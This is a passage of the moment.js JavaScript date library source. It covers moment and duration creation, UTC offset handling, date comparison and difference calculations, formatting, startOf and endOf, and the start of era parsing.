            format = undefined;
        }

        if (locale === true || locale === false) {
            strict = locale;
            locale = undefined;
        }

        if (
            (isObject(input) && isObjectEmpty(input)) ||
            (isArray(input) && input.length === 0)
        ) {
            input = undefined;
        }
        // object construction must be done this way.
        // https://github.com/moment/moment/issues/1423
        c._isAMomentObject = true;
        c._useUTC = c._isUTC = isUTC;
        c._l = locale;
        c._i = input;
        c._f = format;
        c._strict = strict;

        return createFromConfig(c);
    }

    function createLocal(input, format, locale, strict) {
        return createLocalOrUTC(input, format, locale, strict, false);
    }

    var prototypeMin = deprecate(
            'moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/',
            function () {
                var other = createLocal.apply(null, arguments);
                if (this.isValid() && other.isValid()) {
                    return other < this ? this : other;
                } else {
                    return createInvalid();
                }
            }
        ),
        prototypeMax = deprecate(
            'moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/',
            function () {
                var other = createLocal.apply(null, arguments);
                if (this.isValid() && other.isValid()) {
                    return other > this ? this : other;
                } else {
                    return createInvalid();
                }
            }
        );

    // Pick a moment m from moments so that m[fn](other) is true for all
    // other. This relies on the function fn to be transitive.
    //
    // moments should either be an array of moment objects or an array, whose
    // first element is an array of moment objects.
    function pickBy(fn, moments) {
        var res, i;
        if (moments.length === 1 && isArray(moments[0])) {
            moments = moments[0];
        }
        if (!moments.length) {
            return createLocal();
        }
        res = moments[0];
        for (i = 1; i < moments.length; ++i) {
            if (!moments[i].isValid() || moments[i][fn](res)) {
                res = moments[i];
            }
        }
        return res;
    }

    // TODO: Use [].sort instead?
    function min() {
        var args = [].slice.call(arguments, 0);

        return pickBy('isBefore', args);
    }

    function max() {
        var args = [].slice.call(arguments, 0);

        return pickBy('isAfter', args);
    }

    var now = function () {
        return Date.now ? Date.now() : +new Date();
    };

    var ordering = [
        'year',
        'quarter',
        'month',
        'week',
        'day',
        'hour',
        'minute',
        'second',
        'millisecond',
    ];

    function isDurationValid(m) {
        var key,
            unitHasDecimal = false,
            i,
            orderLen = ordering.length;
        for (key in m) {
            if (
                hasOwnProp(m, key) &&
                !(
                    indexOf.call(ordering, key) !== -1 &&
                    (m[key] == null || !isNaN(m[key]))
                )
            ) {
                return false;
            }
        }

        for (i = 0; i < orderLen; ++i) {
            if (m[ordering[i]]) {
                if (unitHasDecimal) {
                    return false; // only allow non-integers for smallest unit
                }
                if (parseFloat(m[ordering[i]]) !== toInt(m[ordering[i]])) {
                    unitHasDecimal = true;
                }
            }
        }

        return true;
    }

    function isValid$1() {
        return this._isValid;
    }

    function createInvalid$1() {
        return createDuration(NaN);
    }

    function Duration(duration) {
        var normalizedInput = normalizeObjectUnits(duration),
            years = normalizedInput.year || 0,
            quarters = normalizedInput.quarter || 0,
            months = normalizedInput.month || 0,
            weeks = normalizedInput.week || normalizedInput.isoWeek || 0,
            days = normalizedInput.day || 0,
            hours = normalizedInput.hour || 0,
            minutes = normalizedInput.minute || 0,
            seconds = normalizedInput.second || 0,
            milliseconds = normalizedInput.millisecond || 0;

        this._isValid = isDurationValid(normalizedInput);

        // representation for dateAddRemove
        this._milliseconds =
            +milliseconds +
            seconds * 1e3 + // 1000
            minutes * 6e4 + // 1000 * 60
            hours * 1000 * 60 * 60; //using 1000 * 60 * 60 instead of 36e5 to avoid floating point rounding errors https://github.com/moment/moment/issues/2978
        // Because of dateAddRemove treats 24 hours as different from a
        // day when working around DST, we need to store them separately
        this._days = +days + weeks * 7;
        // It is impossible to translate months into days without knowing
        // which months you are are talking about, so we have to store
        // it separately.
        this._months = +months + quarters * 3 + years * 12;

        this._data = {};

        this._locale = getLocale();

        this._bubble();
    }

    function isDuration(obj) {
        return obj instanceof Duration;
    }

    function absRound(number) {
        if (number < 0) {
            return Math.round(-1 * number) * -1;
        } else {
            return Math.round(number);
        }
    }

    // compare two arrays, return the number of differences
    function compareArrays(array1, array2, dontConvert) {
        var len = Math.min(array1.length, array2.length),
            lengthDiff = Math.abs(array1.length - array2.length),
            diffs = 0,
            i;
        for (i = 0; i < len; i++) {
            if (
                (dontConvert && array1[i] !== array2[i]) ||
                (!dontConvert && toInt(array1[i]) !== toInt(array2[i]))
            ) {
                diffs++;
            }
        }
        return diffs + lengthDiff;
    }

    // FORMATTING

    function offset(token, separator) {
        addFormatToken(token, 0, 0, function () {
            var offset = this.utcOffset(),
                sign = '+';
            if (offset < 0) {
                offset = -offset;
                sign = '-';
            }
            return (
                sign +
                zeroFill(~~(offset / 60), 2) +
                separator +
                zeroFill(~~offset % 60, 2)
            );
        });
    }

    offset('Z', ':');
    offset('ZZ', '');

    // PARSING

    addRegexToken('Z', matchShortOffset);
    addRegexToken('ZZ', matchShortOffset);
    addParseToken(['Z', 'ZZ'], function (input, array, config) {
        config._useUTC = true;
        config._tzm = offsetFromString(matchShortOffset, input);
    });

    // HELPERS

    // timezone chunker
    // '+10:00' > ['10',  '00']
    // '-1530'  > ['-15', '30']
    var chunkOffset = /([\+\-]|\d\d)/gi;

    function offsetFromString(matcher, string) {
        var matches = (string || '').match(matcher),
            chunk,
            parts,
            minutes;

        if (matches === null) {
            return null;
        }

        chunk = matches[matches.length - 1] || [];
        parts = (chunk + '').match(chunkOffset) || ['-', 0, 0];
        minutes = +(parts[1] * 60) + toInt(parts[2]);

        return minutes === 0 ? 0 : parts[0] === '+' ? minutes : -minutes;
    }

    // Return a moment from input, that is local/utc/zone equivalent to model.
    function cloneWithOffset(input, model) {
        var res, diff;
        if (model._isUTC) {
            res = model.clone();
            diff =
                (isMoment(input) || isDate(input)
                    ? input.valueOf()
                    : createLocal(input).valueOf()) - res.valueOf();
            // Use low-level api, because this fn is low-level api.
            res._d.setTime(res._d.valueOf() + diff);
            hooks.updateOffset(res, false);
            return res;
        } else {
            return createLocal(input).local();
        }
    }

    function getDateOffset(m) {
        // On Firefox.24 Date#getTimezoneOffset returns a floating point.
        // https://github.com/moment/moment/pull/1871
        return -Math.round(m._d.getTimezoneOffset());
    }

    // HOOKS

    // This function will be called whenever a moment is mutated.
    // It is intended to keep the offset in sync with the timezone.
    hooks.updateOffset = function () {};

    // MOMENTS

    // keepLocalTime = true means only change the timezone, without
    // affecting the local hour. So 5:31:26 +0300 --[utcOffset(2, true)]-->
    // 5:31:26 +0200 It is possible that 5:31:26 doesn't exist with offset
    // +0200, so we adjust the time as needed, to be valid.
    //
    // Keeping the time actually adds/subtracts (one hour)
    // from the actual represented time. That is why we call updateOffset
    // a second time. In case it wants us to change the offset again
    // _changeInProgress == true case, then we have to adjust, because
    // there is no such time in the given timezone.
    function getSetOffset(input, keepLocalTime, keepMinutes) {
        var offset = this._offset || 0,
            localAdjust;
        if (!this.isValid()) {
            return input != null ? this : NaN;
        }
        if (input != null) {
            if (typeof input === 'string') {
                input = offsetFromString(matchShortOffset, input);
                if (input === null) {
                    return this;
                }
            } else if (Math.abs(input) < 16 && !keepMinutes) {
                input = input * 60;
            }
            if (!this._isUTC && keepLocalTime) {
                localAdjust = getDateOffset(this);
            }
            this._offset = input;
            this._isUTC = true;
            if (localAdjust != null) {
                this.add(localAdjust, 'm');
            }
            if (offset !== input) {
                if (!keepLocalTime || this._changeInProgress) {
                    addSubtract(
                        this,
                        createDuration(input - offset, 'm'),
                        1,
                        false
                    );
                } else if (!this._changeInProgress) {
                    this._changeInProgress = true;
                    hooks.updateOffset(this, true);
                    this._changeInProgress = null;
                }
            }
            return this;
        } else {
            return this._isUTC ? offset : getDateOffset(this);
        }
    }

    function getSetZone(input, keepLocalTime) {
        if (input != null) {
            if (typeof input !== 'string') {
                input = -input;
            }

            this.utcOffset(input, keepLocalTime);

            return this;
        } else {
            return -this.utcOffset();
        }
    }

    function setOffsetToUTC(keepLocalTime) {
        return this.utcOffset(0, keepLocalTime);
    }

    function setOffsetToLocal(keepLocalTime) {
        if (this._isUTC) {
            this.utcOffset(0, keepLocalTime);
            this._isUTC = false;

            if (keepLocalTime) {
                this.subtract(getDateOffset(this), 'm');
            }
        }
        return this;
    }

    function setOffsetToParsedOffset() {
        if (this._tzm != null) {
            this.utcOffset(this._tzm, false, true);
        } else if (typeof this._i === 'string') {
            var tZone = offsetFromString(matchOffset, this._i);
            if (tZone != null) {
                this.utcOffset(tZone);
            } else {
                this.utcOffset(0, true);
            }
        }
        return this;
    }

    function hasAlignedHourOffset(input) {
        if (!this.isValid()) {
            return false;
        }
        input = input ? createLocal(input).utcOffset() : 0;

        return (this.utcOffset() - input) % 60 === 0;
    }

    function isDaylightSavingTime() {
        return (
            this.utcOffset() > this.clone().month(0).utcOffset() ||
            this.utcOffset() > this.clone().month(5).utcOffset()
        );
    }

    function isDaylightSavingTimeShifted() {
        if (!isUndefined(this._isDSTShifted)) {
            return this._isDSTShifted;
        }

        var c = {},
            other;

        copyConfig(c, this);
        c = prepareConfig(c);

        if (c._a) {
            other = c._isUTC ? createUTC(c._a) : createLocal(c._a);
            this._isDSTShifted =
                this.isValid() && compareArrays(c._a, other.toArray()) > 0;
        } else {
            this._isDSTShifted = false;
        }

        return this._isDSTShifted;
    }

    function isLocal() {
        return this.isValid() ? !this._isUTC : false;
    }

    function isUtcOffset() {
        return this.isValid() ? this._isUTC : false;
    }

    function isUtc() {
        return this.isValid() ? this._isUTC && this._offset === 0 : false;
    }

    // ASP.NET json date format regex
    var aspNetRegex = /^(-|\+)?(?:(\d*)[. ])?(\d+):(\d+)(?::(\d+)(\.\d*)?)?$/,
        // from http://docs.closure-library.googlecode.com/git/closure_goog_date_date.js.source.html
        // somewhat more in line with 4.4.3.2 2004 spec, but allows decimal anywhere
        // and further modified to allow for strings containing both week and day
        isoRegex =
            /^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;

    function createDuration(input, key) {
        var duration = input,
            // matching against regexp is expensive, do it on demand
            match = null,
            sign,
            ret,
            diffRes;

        if (isDuration(input)) {
            duration = {
                ms: input._milliseconds,
                d: input._days,
                M: input._months,
            };
        } else if (isNumber(input) || !isNaN(+input)) {
            duration = {};
            if (key) {
                duration[key] = +input;
            } else {
                duration.milliseconds = +input;
            }
        } else if ((match = aspNetRegex.exec(input))) {
            sign = match[1] === '-' ? -1 : 1;
            duration = {
                y: 0,
                d: toInt(match[DATE]) * sign,
                h: toInt(match[HOUR]) * sign,
                m: toInt(match[MINUTE]) * sign,
                s: toInt(match[SECOND]) * sign,
                ms: toInt(absRound(match[MILLISECOND] * 1000)) * sign, // the millisecond decimal point is included in the match
            };
        } else if ((match = isoRegex.exec(input))) {
            sign = match[1] === '-' ? -1 : 1;
            duration = {
                y: parseIso(match[2], sign),
                M: parseIso(match[3], sign),
                w: parseIso(match[4], sign),
                d: parseIso(match[5], sign),
                h: parseIso(match[6], sign),
                m: parseIso(match[7], sign),
                s: parseIso(match[8], sign),
            };
        } else if (duration == null) {
            // checks for null or undefined
            duration = {};
        } else if (
            typeof duration === 'object' &&
            ('from' in duration || 'to' in duration)
        ) {
            diffRes = momentsDifference(
                createLocal(duration.from),
                createLocal(duration.to)
            );

            duration = {};
            duration.ms = diffRes.milliseconds;
            duration.M = diffRes.months;
        }

        ret = new Duration(duration);

        if (isDuration(input) && hasOwnProp(input, '_locale')) {
            ret._locale = input._locale;
        }

        if (isDuration(input) && hasOwnProp(input, '_isValid')) {
            ret._isValid = input._isValid;
        }

        return ret;
    }

    createDuration.fn = Duration.prototype;
    createDuration.invalid = createInvalid$1;

    function parseIso(inp, sign) {
        // We'd normally use ~~inp for this, but unfortunately it also
        // converts floats to ints.
        // inp may be undefined, so careful calling replace on it.
        var res = inp && parseFloat(inp.replace(',', '.'));
        // apply sign while we're at it
        return (isNaN(res) ? 0 : res) * sign;
    }

    function positiveMomentsDifference(base, other) {
        var res = {};

        res.months =
            other.month() - base.month() + (other.year() - base.year()) * 12;
        if (base.clone().add(res.months, 'M').isAfter(other)) {
            --res.months;
        }

        res.milliseconds = +other - +base.clone().add(res.months, 'M');

        return res;
    }

    function momentsDifference(base, other) {
        var res;
        if (!(base.isValid() && other.isValid())) {
            return { milliseconds: 0, months: 0 };
        }

        other = cloneWithOffset(other, base);
        if (base.isBefore(other)) {
            res = positiveMomentsDifference(base, other);
        } else {
            res = positiveMomentsDifference(other, base);
            res.milliseconds = -res.milliseconds;
            res.months = -res.months;
        }

        return res;
    }

    // TODO: remove 'name' arg after deprecation is removed
    function createAdder(direction, name) {
        return function (val, period) {
            var dur, tmp;
            //invert the arguments, but complain about it
            if (period !== null && !isNaN(+period)) {
                deprecateSimple(
                    name,
                    'moment().' +
                        name +
                        '(period, number) is deprecated. Please use moment().' +
                        name +
                        '(number, period). ' +
                        'See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info.'
                );
                tmp = val;
                val = period;
                period = tmp;
            }

            dur = createDuration(val, period);
            addSubtract(this, dur, direction);
            return this;
        };
    }

    function addSubtract(mom, duration, isAdding, updateOffset) {
        var milliseconds = duration._milliseconds,
            days = absRound(duration._days),
            months = absRound(duration._months);

        if (!mom.isValid()) {
            // No op
            return;
        }

        updateOffset = updateOffset == null ? true : updateOffset;

        if (months) {
            setMonth(mom, get(mom, 'Month') + months * isAdding);
        }
        if (days) {
            set$1(mom, 'Date', get(mom, 'Date') + days * isAdding);
        }
        if (milliseconds) {
            mom._d.setTime(mom._d.valueOf() + milliseconds * isAdding);
        }
        if (updateOffset) {
            hooks.updateOffset(mom, days || months);
        }
    }

    var add = createAdder(1, 'add'),
        subtract = createAdder(-1, 'subtract');

    function isString(input) {
        return typeof input === 'string' || input instanceof String;
    }

    // type MomentInput = Moment | Date | string | number | (number | string)[] | MomentInputObject | void; // null | undefined
    function isMomentInput(input) {
        return (
            isMoment(input) ||
            isDate(input) ||
            isString(input) ||
            isNumber(input) ||
            isNumberOrStringArray(input) ||
            isMomentInputObject(input) ||
            input === null ||
            input === undefined
        );
    }

    function isMomentInputObject(input) {
        var objectTest = isObject(input) && !isObjectEmpty(input),
            propertyTest = false,
            properties = [
                'years',
                'year',
                'y',
                'months',
                'month',
                'M',
                'days',
                'day',
                'd',
                'dates',
                'date',
                'D',
                'hours',
                'hour',
                'h',
                'minutes',
                'minute',
                'm',
                'seconds',
                'second',
                's',
                'milliseconds',
                'millisecond',
                'ms',
            ],
            i,
            property,
            propertyLen = properties.length;

        for (i = 0; i < propertyLen; i += 1) {
            property = properties[i];
            propertyTest = propertyTest || hasOwnProp(input, property);
        }

        return objectTest && propertyTest;
    }

    function isNumberOrStringArray(input) {
        var arrayTest = isArray(input),
            dataTypeTest = false;
        if (arrayTest) {
            dataTypeTest =
                input.filter(function (item) {
                    return !isNumber(item) && isString(input);
                }).length === 0;
        }
        return arrayTest && dataTypeTest;
    }

    function isCalendarSpec(input) {
        var objectTest = isObject(input) && !isObjectEmpty(input),
            propertyTest = false,
            properties = [
                'sameDay',
                'nextDay',
                'lastDay',
                'nextWeek',
                'lastWeek',
                'sameElse',
            ],
            i,
            property;

        for (i = 0; i < properties.length; i += 1) {
            property = properties[i];
            propertyTest = propertyTest || hasOwnProp(input, property);
        }

        return objectTest && propertyTest;
    }

    function getCalendarFormat(myMoment, now) {
        var diff = myMoment.diff(now, 'days', true);
        return diff < -6
            ? 'sameElse'
            : diff < -1
              ? 'lastWeek'
              : diff < 0
                ? 'lastDay'
                : diff < 1
                  ? 'sameDay'
                  : diff < 2
                    ? 'nextDay'
                    : diff < 7
                      ? 'nextWeek'
                      : 'sameElse';
    }

    function calendar$1(time, formats) {
        // Support for single parameter, formats only overload to the calendar function
        if (arguments.length === 1) {
            if (!arguments[0]) {
                time = undefined;
                formats = undefined;
            } else if (isMomentInput(arguments[0])) {
                time = arguments[0];
                formats = undefined;
            } else if (isCalendarSpec(arguments[0])) {
                formats = arguments[0];
                time = undefined;
            }
        }
        // We want to compare the start of today, vs this.
        // Getting start-of-today depends on whether we're local/utc/offset or not.
        var now = time || createLocal(),
            sod = cloneWithOffset(now, this).startOf('day'),
            format = hooks.calendarFormat(this, sod) || 'sameElse',
            output =
                formats &&
                (isFunction(formats[format])
                    ? formats[format].call(this, now)
                    : formats[format]);

        return this.format(
            output || this.localeData().calendar(format, this, createLocal(now))
        );
    }

    function clone() {
        return new Moment(this);
    }

    function isAfter(input, units) {
        var localInput = isMoment(input) ? input : createLocal(input);
        if (!(this.isValid() && localInput.isValid())) {
            return false;
        }
        units = normalizeUnits(units) || 'millisecond';
        if (units === 'millisecond') {
            return this.valueOf() > localInput.valueOf();
        } else {
            return localInput.valueOf() < this.clone().startOf(units).valueOf();
        }
    }

    function isBefore(input, units) {
        var localInput = isMoment(input) ? input : createLocal(input);
        if (!(this.isValid() && localInput.isValid())) {
            return false;
        }
        units = normalizeUnits(units) || 'millisecond';
        if (units === 'millisecond') {
            return this.valueOf() < localInput.valueOf();
        } else {
            return this.clone().endOf(units).valueOf() < localInput.valueOf();
        }
    }

    function isBetween(from, to, units, inclusivity) {
        var localFrom = isMoment(from) ? from : createLocal(from),
            localTo = isMoment(to) ? to : createLocal(to);
        if (!(this.isValid() && localFrom.isValid() && localTo.isValid())) {
            return false;
        }
        inclusivity = inclusivity || '()';
        return (
            (inclusivity[0] === '('
                ? this.isAfter(localFrom, units)
                : !this.isBefore(localFrom, units)) &&
            (inclusivity[1] === ')'
                ? this.isBefore(localTo, units)
                : !this.isAfter(localTo, units))
        );
    }

    function isSame(input, units) {
        var localInput = isMoment(input) ? input : createLocal(input),
            inputMs;
        if (!(this.isValid() && localInput.isValid())) {
            return false;
        }
        units = normalizeUnits(units) || 'millisecond';
        if (units === 'millisecond') {
            return this.valueOf() === localInput.valueOf();
        } else {
            inputMs = localInput.valueOf();
            return (
                this.clone().startOf(units).valueOf() <= inputMs &&
                inputMs <= this.clone().endOf(units).valueOf()
            );
        }
    }

    function isSameOrAfter(input, units) {
        return this.isSame(input, units) || this.isAfter(input, units);
    }

    function isSameOrBefore(input, units) {
        return this.isSame(input, units) || this.isBefore(input, units);
    }

    function diff(input, units, asFloat) {
        var that, zoneDelta, output;

        if (!this.isValid()) {
            return NaN;
        }

        that = cloneWithOffset(input, this);

        if (!that.isValid()) {
            return NaN;
        }

        zoneDelta = (that.utcOffset() - this.utcOffset()) * 6e4;

        units = normalizeUnits(units);

        switch (units) {
            case 'year':
                output = monthDiff(this, that) / 12;
                break;
            case 'month':
                output = monthDiff(this, that);
                break;
            case 'quarter':
                output = monthDiff(this, that) / 3;
                break;
            case 'second':
                output = (this - that) / 1e3;
                break; // 1000
            case 'minute':
                output = (this - that) / 6e4;
                break; // 1000 * 60
            case 'hour':
                output = (this - that) / 36e5;
                break; // 1000 * 60 * 60
            case 'day':
                output = (this - that - zoneDelta) / 864e5;
                break; // 1000 * 60 * 60 * 24, negate dst
            case 'week':
                output = (this - that - zoneDelta) / 6048e5;
                break; // 1000 * 60 * 60 * 24 * 7, negate dst
            default:
                output = this - that;
        }

        return asFloat ? output : absFloor(output);
    }

    function monthDiff(a, b) {
        if (a.date() < b.date()) {
            // end-of-month calculations work correct when the start month has more
            // days than the end month.
            return -monthDiff(b, a);
        }
        // difference in months
        var wholeMonthDiff = (b.year() - a.year()) * 12 + (b.month() - a.month()),
            // b is in (anchor - 1 month, anchor + 1 month)
            anchor = a.clone().add(wholeMonthDiff, 'months'),
            anchor2,
            adjust;

        if (b - anchor < 0) {
            anchor2 = a.clone().add(wholeMonthDiff - 1, 'months');
            // linear across the month
            adjust = (b - anchor) / (anchor - anchor2);
        } else {
            anchor2 = a.clone().add(wholeMonthDiff + 1, 'months');
            // linear across the month
            adjust = (b - anchor) / (anchor2 - anchor);
        }

        //check for negative zero, return zero if negative zero
        return -(wholeMonthDiff + adjust) || 0;
    }

    hooks.defaultFormat = 'YYYY-MM-DDTHH:mm:ssZ';
    hooks.defaultFormatUtc = 'YYYY-MM-DDTHH:mm:ss[Z]';

    function toString() {
        return this.clone().locale('en').format('ddd MMM DD YYYY HH:mm:ss [GMT]ZZ');
    }

    function toISOString(keepOffset) {
        if (!this.isValid()) {
            return null;
        }
        var utc = keepOffset !== true,
            m = utc ? this.clone().utc() : this;
        if (m.year() < 0 || m.year() > 9999) {
            return formatMoment(
                m,
                utc
                    ? 'YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]'
                    : 'YYYYYY-MM-DD[T]HH:mm:ss.SSSZ'
            );
        }
        if (isFunction(Date.prototype.toISOString)) {
            // native implementation is ~50x faster, use it when we can
            if (utc) {
                return this.toDate().toISOString();
            } else {
                return new Date(this.valueOf() + this.utcOffset() * 60 * 1000)
                    .toISOString()
                    .replace('Z', formatMoment(m, 'Z'));
            }
        }
        return formatMoment(
            m,
            utc ? 'YYYY-MM-DD[T]HH:mm:ss.SSS[Z]' : 'YYYY-MM-DD[T]HH:mm:ss.SSSZ'
        );
    }

    /**
     * Return a human readable representation of a moment that can
     * also be evaluated to get a new moment which is the same
     *
     * @link https://nodejs.org/dist/latest/docs/api/util.html#util_custom_inspect_function_on_objects
     */
    function inspect() {
        if (!this.isValid()) {
            return 'moment.invalid(/* ' + this._i + ' */)';
        }
        var func = 'moment',
            zone = '',
            prefix,
            year,
            datetime,
            suffix;
        if (!this.isLocal()) {
            func = this.utcOffset() === 0 ? 'moment.utc' : 'moment.parseZone';
            zone = 'Z';
        }
        prefix = '[' + func + '("]';
        year = 0 <= this.year() && this.year() <= 9999 ? 'YYYY' : 'YYYYYY';
        datetime = '-MM-DD[T]HH:mm:ss.SSS';
        suffix = zone + '[")]';

        return this.format(prefix + year + datetime + suffix);
    }

    function format(inputString) {
        if (!inputString) {
            inputString = this.isUtc()
                ? hooks.defaultFormatUtc
                : hooks.defaultFormat;
        }
        var output = formatMoment(this, inputString);
        return this.localeData().postformat(output);
    }

    function from(time, withoutSuffix) {
        if (
            this.isValid() &&
            ((isMoment(time) && time.isValid()) || createLocal(time).isValid())
        ) {
            return createDuration({ to: this, from: time })
                .locale(this.locale())
                .humanize(!withoutSuffix);
        } else {
            return this.localeData().invalidDate();
        }
    }

    function fromNow(withoutSuffix) {
        return this.from(createLocal(), withoutSuffix);
    }

    function to(time, withoutSuffix) {
        if (
            this.isValid() &&
            ((isMoment(time) && time.isValid()) || createLocal(time).isValid())
        ) {
            return createDuration({ from: this, to: time })
                .locale(this.locale())
                .humanize(!withoutSuffix);
        } else {
            return this.localeData().invalidDate();
        }
    }

    function toNow(withoutSuffix) {
        return this.to(createLocal(), withoutSuffix);
    }

    // If passed a locale key, it will set the locale for this
    // instance.  Otherwise, it will return the locale configuration
    // variables for this instance.
    function locale(key) {
        var newLocaleData;

        if (key === undefined) {
            return this._locale._abbr;
        } else {
            newLocaleData = getLocale(key);
            if (newLocaleData != null) {
                this._locale = newLocaleData;
            }
            return this;
        }
    }

    var lang = deprecate(
        'moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.',
        function (key) {
            if (key === undefined) {
                return this.localeData();
            } else {
                return this.locale(key);
            }
        }
    );

    function localeData() {
        return this._locale;
    }

    var MS_PER_SECOND = 1000,
        MS_PER_MINUTE = 60 * MS_PER_SECOND,
        MS_PER_HOUR = 60 * MS_PER_MINUTE,
        MS_PER_400_YEARS = (365 * 400 + 97) * 24 * MS_PER_HOUR;

    // actual modulo - handles negative numbers (for dates before 1970):
    function mod$1(dividend, divisor) {
        return ((dividend % divisor) + divisor) % divisor;
    }

    function localStartOfDate(y, m, d) {
        // the date constructor remaps years 0-99 to 1900-1999
        if (y < 100 && y >= 0) {
            // preserve leap years using a full 400 year cycle, then reset
            return new Date(y + 400, m, d) - MS_PER_400_YEARS;
        } else {
            return new Date(y, m, d).valueOf();
        }
    }

    function utcStartOfDate(y, m, d) {
        // Date.UTC remaps years 0-99 to 1900-1999
        if (y < 100 && y >= 0) {
            // preserve leap years using a full 400 year cycle, then reset
            return Date.UTC(y + 400, m, d) - MS_PER_400_YEARS;
        } else {
            return Date.UTC(y, m, d);
        }
    }

    function startOf(units) {
        var time, startOfDate;
        units = normalizeUnits(units);
        if (units === undefined || units === 'millisecond' || !this.isValid()) {
            return this;
        }

        startOfDate = this._isUTC ? utcStartOfDate : localStartOfDate;

        switch (units) {
            case 'year':
                time = startOfDate(this.year(), 0, 1);
                break;
            case 'quarter':
                time = startOfDate(
                    this.year(),
                    this.month() - (this.month() % 3),
                    1
                );
                break;
            case 'month':
                time = startOfDate(this.year(), this.month(), 1);
                break;
            case 'week':
                time = startOfDate(
                    this.year(),
                    this.month(),
                    this.date() - this.weekday()
                );
                break;
            case 'isoWeek':
                time = startOfDate(
                    this.year(),
                    this.month(),
                    this.date() - (this.isoWeekday() - 1)
                );
                break;
            case 'day':
            case 'date':
                time = startOfDate(this.year(), this.month(), this.date());
                break;
            case 'hour':
                time = this._d.valueOf();
                time -= mod$1(
                    time + (this._isUTC ? 0 : this.utcOffset() * MS_PER_MINUTE),
                    MS_PER_HOUR
                );
                break;
            case 'minute':
                time = this._d.valueOf();
                time -= mod$1(time, MS_PER_MINUTE);
                break;
            case 'second':
                time = this._d.valueOf();
                time -= mod$1(time, MS_PER_SECOND);
                break;
        }

        this._d.setTime(time);
        hooks.updateOffset(this, true);
        return this;
    }

    function endOf(units) {
        var time, startOfDate;
        units = normalizeUnits(units);
        if (units === undefined || units === 'millisecond' || !this.isValid()) {
            return this;
        }

        startOfDate = this._isUTC ? utcStartOfDate : localStartOfDate;

        switch (units) {
            case 'year':
                time = startOfDate(this.year() + 1, 0, 1) - 1;
                break;
            case 'quarter':
                time =
                    startOfDate(
                        this.year(),
                        this.month() - (this.month() % 3) + 3,
                        1
                    ) - 1;
                break;
            case 'month':
                time = startOfDate(this.year(), this.month() + 1, 1) - 1;
                break;
            case 'week':
                time =
                    startOfDate(
                        this.year(),
                        this.month(),
                        this.date() - this.weekday() + 7
                    ) - 1;
                break;
            case 'isoWeek':
                time =
                    startOfDate(
                        this.year(),
                        this.month(),
                        this.date() - (this.isoWeekday() - 1) + 7
                    ) - 1;
                break;
            case 'day':
            case 'date':
                time = startOfDate(this.year(), this.month(), this.date() + 1) - 1;
                break;
            case 'hour':
                time = this._d.valueOf();
                time +=
                    MS_PER_HOUR -
                    mod$1(
                        time + (this._isUTC ? 0 : this.utcOffset() * MS_PER_MINUTE),
                        MS_PER_HOUR
                    ) -
                    1;
                break;
            case 'minute':
                time = this._d.valueOf();
                time += MS_PER_MINUTE - mod$1(time, MS_PER_MINUTE) - 1;
                break;
            case 'second':
                time = this._d.valueOf();
                time += MS_PER_SECOND - mod$1(time, MS_PER_SECOND) - 1;
                break;
        }

        this._d.setTime(time);
        hooks.updateOffset(this, true);
        return this;
    }

    function valueOf() {
        return this._d.valueOf() - (this._offset || 0) * 60000;
    }

    function unix() {
        return Math.floor(this.valueOf() / 1000);
    }

    function toDate() {
        return new Date(this.valueOf());
    }

    function toArray() {
        var m = this;
        return [
            m.year(),
            m.month(),
            m.date(),
            m.hour(),
            m.minute(),
            m.second(),
            m.millisecond(),
        ];
    }

    function toObject() {
        var m = this;
        return {
            years: m.year(),
            months: m.month(),
            date: m.date(),
            hours: m.hours(),
            minutes: m.minutes(),
            seconds: m.seconds(),
            milliseconds: m.milliseconds(),
        };
    }

    function toJSON() {
        // new Date(NaN).toJSON() === null
        return this.isValid() ? this.toISOString() : null;
    }

    function isValid$2() {
        return isValid(this);
    }

    function parsingFlags() {
        return extend({}, getParsingFlags(this));
    }

    function invalidAt() {
        return getParsingFlags(this).overflow;
    }

    function creationData() {
        return {
            input: this._i,
            format: this._f,
            locale: this._locale,
            isUTC: this._isUTC,
            strict: this._strict,
        };
    }

    addFormatToken('N', 0, 0, 'eraAbbr');
    addFormatToken('NN', 0, 0, 'eraAbbr');
    addFormatToken('NNN', 0, 0, 'eraAbbr');
    addFormatToken('NNNN', 0, 0, 'eraName');
    addFormatToken('NNNNN', 0, 0, 'eraNarrow');

    addFormatToken('y', ['y', 1], 'yo', 'eraYear');
    addFormatToken('y', ['yy', 2], 0, 'eraYear');
    addFormatToken('y', ['yyy', 3], 0, 'eraYear');
    addFormatToken('y', ['yyyy', 4], 0, 'eraYear');

    addRegexToken('N', matchEraAbbr);
    addRegexToken('NN', matchEraAbbr);
    addRegexToken('NNN', matchEraAbbr);
    addRegexToken('NNNN', matchEraName);
    addRegexToken('NNNNN', matchEraNarrow);

    addParseToken(
        ['N', 'NN', 'NNN', 'NNNN', 'NNNNN'],
        function (input, array, config, token) {
            var era = config._locale.erasParse(input, token, config._strict);
            if (era) {
                getParsingFlags(config).era = era;
            } else {
                getParsingFlags(config).invalidEra = input;
            }
        }
    );

    addRegexToken('y', matchUnsigned);
    addRegexToken('yy', matchUnsigned);
    addRegexToken('yyy', matchUnsigned);
    addRegexToken('yyyy', matchUnsigned);
    addRegexToken('yo', matchEraYearOrdinal);

    addParseToken(['y', 'yy', 'yyy', 'yyyy'], YEAR);
    addParseToken(['yo'], function (input, array, config, token) {
        var match;
        if (config._locale._eraYearOrdinalRegex) {
            match = input.match(config._locale._eraYearOrdinalRegex);
        }

        if (config._locale.eraYearOrdinalParse) {
            array[YEAR] = config._locale.eraYearOrdinalParse(input, match);
        } else {
            array[YEAR] = parseInt(input, 10);
        }
    });

    function localeEras(m, format) {
        var i,
            l,
            date,
            eras = this._eras || getLocale('en')._eras;
        for (i = 0, l = eras.length; i < l; ++i) {
            switch (typeof eras[i].since) {
                case 'string':
                    // truncate time
                    date = hooks(eras[i].since).startOf('day');
                    eras[i].since = date.valueOf();
                    break;
            }

            switch (typeof eras[i].until) {
                case 'undefined':
                    eras[i].until = +Infinity;
                    break;
